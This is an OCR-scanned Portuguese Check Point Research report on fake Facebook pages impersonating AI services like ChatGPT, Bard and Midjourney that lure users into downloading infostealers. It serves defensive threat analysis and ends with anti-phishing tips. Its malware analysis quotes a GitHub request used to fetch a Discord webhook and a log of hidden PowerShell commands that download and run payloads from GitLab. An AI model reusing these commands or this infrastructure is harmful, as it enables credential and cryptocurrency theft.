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CHECK POINT WELCOME TO THE FUTURE OF CYBER SECURITY

Facebook inundado com anuncios e paginas de

ChatGPT, Google Bard e outros servicos de IA

falsos, induzindo os utilizadores a descarregar
malware

e Os cibercriminosos estao a utilizar o Facebook para se fazerem passar por
conhecidas marcas de IA generativa, incluindo ChatGPT, Google Bard,
Midjourney e Jasper.

e Os utilizadores do Facebook estao a ser induzidos a descarregar conteudos
das pdaginas e anuncios das marcas falsas.

e Estes downloads contém malware malicioso, que rouba as palavras-passe
online (bancos, redes sociais, jogos, efc.), carteiras de criptomoedas e
qualquer informagao guardada nos browsers.

e Os utilizadores estao a gostar e a comentar posts falsos, espalhando-os
assim nas suas proprias redes sociais.

Os cibercriminosos continuam a tentar novas formas de roubar informagdes privadas. Um novo
esquema descoberto pela Check Point Research (CPR), equipa de investigacdo da Check Point
Software Technologies Ltd., fornecedor lider em solucdes de ciberseguranca para empresas e
governos a nivel mundial, utiliza o Facebook para roubar as palavras-passe e os dados privados de
pessoas desprevenidas, tirando partido do seu interesse em conhecidas aplicacdes de |IA generativa.

Em primeiro lugar, os criminosos criam pdaginas ou grupos falsos no Facebook para uma marca
conhecida, incluindo conteldos atrativos. A pessoa que ndo conhece o golpe comenta ou gosta do
conteuldo, garantindo assim que este aparece nos feeds dos seus amigos. A pdagina falsa oferece um
novo servico ou conteudo especial através de um link. Mas quando o utilizador clica na ligacao,
descarrega, sem saber, malware malicioso, concebido para roubar as suas palavras-passe online,
carteiras de criptomoedas e outras informacdes guardadas no seu browser.

Muitas das paginas falsas oferecem dicas, noticias e versdes melhoradas dos servigos de IA Google
Bard ou ChatGPT:
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O texto acima é apenas uma amostra de algumas publicacdes. Existem muitas versdes do Bard New,
Bard Chat, GPT-5, G-Bard Al e outros. Alguns posts e grupos também tentam tirar partido da
popularidade de outros servicos de IA, como o Midjourney:
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|B Art With Mid-Journey Al

#-New Midjourney Beta version. Create image from text
#:Free Trial, not require credit card
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Em muitos casos, os cibercriminosos também atraem os utilizadores para outros servicos e
ferramentas de IA. Outra grande marca de IA, com mais de 2 milhdes de fas, cujos cibercriminosos
se fazem passar é a Jasper Al. Isto também mostra como os pequenos pormenores podem
desempenhar um papel importante e fazer a diferenca entre um servico legitimo e uma fraude.
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Jasper.Ai is an incredibly powerful tool that can help digital marketers to create high-quality
content, engage with customers more effectively, gain valuable insights into customer behavior,
and save time. As Al technology continues to evolve, Jasper.Ai will undoubtedly become an even

more essential tool for businesses looking to stay ahead of the curve and thrive in an increasingly
competitive digital landscape.

Try for free:|https://ww
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Muitas vezes, os utilizadores ndo fazem ideia de que se trata de fraudes. De facto, discutem
apaixonadamente o papel da IA nos comentarios e gostam/partilham as mensagens, o que aumenta
ainda mais o seu alcance.
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Bard For Business V3
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A maior parte destas pdaginas do Facebook conduzem a paginas de destino de tipo semelhante que
incentivam os utilizadores a descarregar ficheiros protegidos por palavra-passe, alegadamente
relacionados com motores de IA generativa:
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Caso de Estudo: Pagina falsa de IA da Midjourney

Os agentes de ameacas por tras de certas pdginas maliciosas do Facebook fazem de tudo para
garantir que parecem auténticas, reforcando a aparente credibilidade social. Quando um utilizador
gue nao esta avisado procura por 'Midjourney Al' no Facebook e encontra uma pagina com 1,2
milhdes de seguidores, é provavel que acredite que se trata de uma pagina auténtica.

'Ij T/ATRC. 3

,,;u;;,; Mid-Journey Al

1.2M followersf O following © Learn More © Message Follow

O mesmo principio aplica-se a outros indicadores de legitimidade da pagina: quando as publicacdes na
pagina falsa tém muitos gostos e comentarios, isso indica que outros utilizadores ja interagiram
positivamente com o conteldo, reduzindo a probabilidade de suspeita.
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O principal objetivo desta pdgina falsa do Mid-Journey Al no Facebook é enganar os utilizadores para
gue descarreguem malware. Para dar um ar de credibilidade, os links para os sites maliciosos sdo
misturados com links para as legitimas analises do Midjourney ou redes sociais.

Intro

@ Midjourney Al
€2 Midjourney Al King Of Photo Maker &7

&

Page - Software Company - Digital creator

midjourney

ai-midjourney.net

g2.com/products/midjourney/reviews

midjourneys.info

nichepursuits.com/midjoumey-review

expertphotography.com/midjourmney

) & &S] &S

O primeiro link, ai-midjourney[.]net, tem apenas um botdo "Get Started" (Comecar):
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Midjourney

il

GET STARTED '

Everything You Want
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A A aVal

Este botdo acaba por redirecionar para o segundo site falso, midjourneys|.]info, oferecendo-se para
descarregar o Midjourney Al gratuitamente durante 30 dias. Quando o utilizador clica no botao, na
realidade descarrega um ficheiro de arquivo chamado MidJourneyAl.rar do Gofile, uma plataforma
gratuita de partilha e armazenamento de ficheiros.

£Y

€2 Midjourney Al King Of Photo Maker g7

it -2}

Quando o download termina, a vitima que espera ter descarregado algo legitimo do MidJourney, é
enganada para executar um ficheiro malicioso chamado Mid-Journey_Setup.exe.
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Name

. branding.dll

. Freewarelicense.txt

. MidJourney.lic

B Mid-Journey_Setup.exe

. Phrompt.txt
. Reactivator.dll
. settings.ini
. usercfg.ini

Este falso ficheiro de instalagdo fornece o Doenerium, um infostealer de cédigo aberto, que foi visto
em varios outros esquemas, com o objetivo final de recolher os dados pessoais das vitimas.

O malware armazena-se a si proprio e a todos os seus multiplos ficheiros e diretérios auxiliares na
pasta TEMP:

This PC Local Disk (C:) Users AppData Local Temp nsy220B.tmp app-32

Name Date modified Type

. locales 7/ File folder

. resources File folder

. chrome_100_percent.pak PAK File

. chrome_200_percent.pak PAK File

B d3dcompiler_47.dIl / Application exten...

. ffmpeg.dil Application exten...

B icudti.dat DAT File

B ribecLdu 7 Application exten...

B libGLESV2.dII 7 Application exten

B LICENSE.electron.txt Text Document

™ LICENSES.chromium.html Microsoft Edge H... 8,118 KB

B} Midjourney Al.exe } Application 135,103 KB
7/ PAK File 5,123 KB
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O malware utiliza varios servicos legitimos, como o Github, o Gofile e o Discord, como meio de
comunicacdo de comando e controlo e de exfiltracdo de dados. Assim, a conta do github
antivirusevasion69 é utilizada pelo malware para entregar o webhook do Discord, que é depois
utilizado para reportar toda a informacao roubada a vitima para o canal Discord do ator.

SRS A T P T T T 7

v Hypertext Transfer Protocol
GET /antivirusevasion69/antivirusevasion69/main/embed.json HTTP/1.1\r\n
Accept: application/json, text/plain, */*\r\n
User-Agent: axios/@.27.2\r\n
Host: raw.githubusercontent.com\r\n

Primeiro, o malware envia uma mensagem "New victim" para o Discord, fornecendo uma descricdo da
maquina recentemente infetada. A descricdo inclui pormenores como o nome do PC, a versdo do sistema
operativo, a RAM, o tempo de atividade e o caminho especifico a partir do qual o malware foi executado. Esta
informacdo permite ao ator discernir com precisdo qual o esquema ou isco que levou a instalacdo do malware.

O malware faz esforcos para reunir varios tipos de informagdo de todos os principais navegadores, incluindo
cookies, favoritos, histdrico de navegacdo e senhas. Além disso, tem como alvo carteiras de criptomoedas,
incluindo Zcash, Bitcoin, Ethereum e outras. O malware rouba também credenciais FTP do Filezilla e sessdes
de varias plataformas sociais e de jogos.

Depois de todos os dados serem roubados do dispositivo visado, sdo consolidados num Unico arquivo e
carregados para a plataforma de partilha de ficheiros Gofile:

> DESKTOP-. >
o Name B Date moedified Type Size
Autofill 7 File folder
Bookmarks 7 File folder
Cookies 7 File folder
Filezilla 7 File folder
History 7 File folder
Passwords 7 File folder
Wallets 7 File folder
|=| Executable Info.txt 7 Text Document
\=| Found Wallets.txt 7 Text Document
|=| Network Data.txt 7 Text Document
|=| User Info.txt 7 Text Document
|=| WiFi Connections.txt 7 Text Document

Posteriormente, o infostealer envia uma mensagem "Infected" para o Discord, contendo detalhes organizados
sobre os dados que extraiu com sucesso da maquina, juntamente com um link para aceder ao arquivo que
contém a informacdo roubada.

E interessante mencionar que a maioria dos comentdrios na pagina falsa do Facebook sdo feitos por bots com
nomes vietnamitas, e o idioma padrao do chat no site falso do MidJourney é o vietnamita. Isto permite-nos
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avaliar, com um grau de confianga baixo-médio, que esta campanha é gerida por um agente de ameacas
afiliado ao Vietname.

De seguida, apresentamos exemplos de respostas a uma das publica¢des da pagina:

Mid-Journey Al
JUI:\" 2at4:53 AM - \3

& Art With Mid-Journey Al

O i« 35 (D

oY Like (J) Comment #> Share

Most relevant -

@ Ng6 Trung Viét
Thanks for improving my design
skills!

Like Reply 1w

& V6 Thach Quyén
' Thanks for transforming the way |
work and create with Midjourney Al!

Tw
I'w

Like Reply

M (inh Hoang B

W Thanks for showing me what | was
missing!
Like Reply 1w

n Chau Nhu Mai
Midjourney Al has become an

essential tool for my photography
hobby, thank you for introducing it
to me!

Like Reply 1w

.& D6 Quang Lan
** The new neural filters in Midjourney
Al are a game-changer for photo
edlting.

Like Reply 1w

A ascensdo dos “Infostealers”

A maior parte das campanhas que utilizam péginas falsas e anuncios maliciosos no Facebook acabam por
distribuir algum tipo de malware para roubar informacdes. No més passado, a CPR e outras empresas de
seguranca observaram varias campanhas que distribuem extensées de browser maliciosas destinadas a roubar
informacgdes. O seu principal objetivo parece ser os dados associados as contas do Facebook e o roubo de
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paginas do Facebook. Aparentemente, os cibercriminosos estdo a tentar abusar de paginas de grande
audiéncia existentes, incluindo orcamentos de publicidade, pelo que mesmo muitas paginas com um grande
alcance podem ser exploradas desta forma para continuar a espalhar o esquema.

Outra campanha que explora a popularidade das ferramentas de IA utiliza o isco "GoogleAl" para enganar os
utilizadores e leva-los a descarregar os arquivos maliciosos, que contém malware num Unico ficheiro batch,
como o GoogleAl.bat. A semelhanca de muitos outros ataques como este, utiliza a plataforma de partilha de
codigo aberto, desta vez o Gitlab, para recuperar a fase seguinte:

o cmd.exe 6692 C:\Windows\system32\cmd.exe /K "C:\Users} \AppData\Local\Temp\GoogleAl.bat"

= powershell.exe 1824 C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden Invoke-WebRequest -
URI https-//gitlab.com/dvsdv2dds/s/-/fraw/main/ss -OutFile "C:\Users\\$([Environment]::UserName)\AppD ...(truncated)
powershell.exe 2120 C\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden Invoke-WebRequest -
URI htips://gitlab.com/KevinJackso/s/~/raw/main/Python310__1___ 1_.zip -OutFile C:\Users\\Public\Document.zip;
powershell.exe 7072 C\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden Expand-Archive
C:\\Users\\Public\\Document.zip -DestinationPath C:\Users\\Public\Document;

powershell.exe 2252 C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden Invoke-WebRequest -
URI https://gitlab.com/nguyens22/ww/-/raw/main/bot2 -OutFile C:\\Users\\Public\\Document\Wibb1.py;
powershell.exe 6512 C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden Invoke-WebRequest -
URI htips://gitiab.com/KevinJackso/s/~/fraw/main/th -OutFile C\\Users\\Public\Document\\l.py;
powershell.exe 3940 C\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden
C:\Wsers\\Public\Document\\python C:\\Users\\Public\\Document\Vibb1.py;

= python.exe 1616 C:\\Users\\Public\Document\Vibb1.py

O payload final esta localizado num script python chamado libb1.py. Este é um ladrdo de navegador baseado
em python que tenta roubar dados de login e cookies de todos os principais navegadores e os dados roubados
sdo exfiltrados via Telegram:

except: praint(

As campanhas descritas anteriormente baseiam-se amplamente em varios servicos gratuitos e redes sociais,
bem como em ferramentas de cddigo aberto, sem uma sofisticacdo significativa. No entanto, nem todas as
campanhas seguem este padrao.

A Check Point Research descobriu recentemente muitas campanhas sofisticadas que utilizam anuncios do
Facebook e contas comprometidas disfarcadas, entre outras coisas, como ferramentas de |A. Essas campanhas
avancadas introduzem um novo e furtivo stealer-bot ByosBot que opera sob o radar. O malware abusa do
dotnet bundle (ficheiro Unico), formato auténomo que resulta numa detecdo estatica muito baixa ou nula. O
ByosBot esta focado no roubo de informagdes de contas do Facebook, tornando estas campanhas auto-
sustentdveis ou autoalimentadas: os dados roubados podem ser posteriormente utilizados para propagar o
malware através de novas contas comprometidas.
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O crescente interesse publico em solugcbes baseadas em IA levou os agentes de ameacas a explorar esta
tendéncia, em especial os que distribuem infostealers. Este aumento pode ser atribuido a expansdo dos
mercados clandestinos, onde os corretores de acesso inicial se especializam na aquisicdo e venda de acesso
ou credenciais a sistemas comprometidos. Além disso, o valor crescente dos dados utilizados para ataques
direcionados, como o comprometimento de correio eletronico empresarial e o spear-phishing, tem
alimentado a proliferacdo de infostealers.

Infelizmente, os servicos de IA auténticos permitem que os cibercriminosos criem e implementem esquemas
fraudulentos de uma forma muito mais sofisticada e credivel. Consequentemente, é essencial que os
individuos e as organizacdes se informem, estejam conscientes dos riscos e se mantenham vigilantes contra
as taticas dos cibercriminosos. As solucGes de seguranga avangadas continuam a ser importantes na protecao
contra estas ameagas em evolugado.

Como identificar phishing e falsificagao de identidade

Os ataques de phishing utilizam truques para convencer o alvo de que sao legitimos. Algumas das formas de
detetar um ataque de phishing sdo:

e Ignorar nomes de apresentacdo: Os sites ou emails de phishing podem ser configurados para mostrar
qualguer coisa no nome de apresentacdo. Em vez de olhar para o nome de apresentacao, verifique o
endereco de correio eletronico ou o endereco do website do remetente para verificar se provém de
uma fonte fidvel e auténtica.

e Verificar o dominio: Os phishers utilizam normalmente dominios com pequenos erros ortograficos ou
que parecem plausiveis. Por exemplo, company.com pode ser substituido por cormpany.com ou um
email pode ser company-service.com. Procure estes erros ortograficos, pois sdo um bom indicador.

e Descarregar sempre software de fontes fiaveis: Os grupos do Facebook ndo sdo a melhor fonte para
descarregar software. Va diretamente a uma fonte de confianga, utilize o website oficial. Ndo clique
em downloads provenientes de grupos, féruns ndo oficiais, etc.

e Verificar as hiperligagbes: Os ataques de phishing de URL sdo concebidos para induzir os
destinatarios a clicar numa hiperligacdo maliciosa. Passe o rato sobre as hiperligacdes de uma
mensagem de correio eletrénico e veja se vao realmente para onde dizem. Introduza as ligacGes
suspeitas numa ferramenta de verificagdo de phishing como o phishtank.com, que lhe dira se sdo
ligacGes de phishing conhecidas. Se possivel, ndo cliqgue numa hiperligacdo; visite diretamente o site
da empresa e navegue até a pagina indicada.
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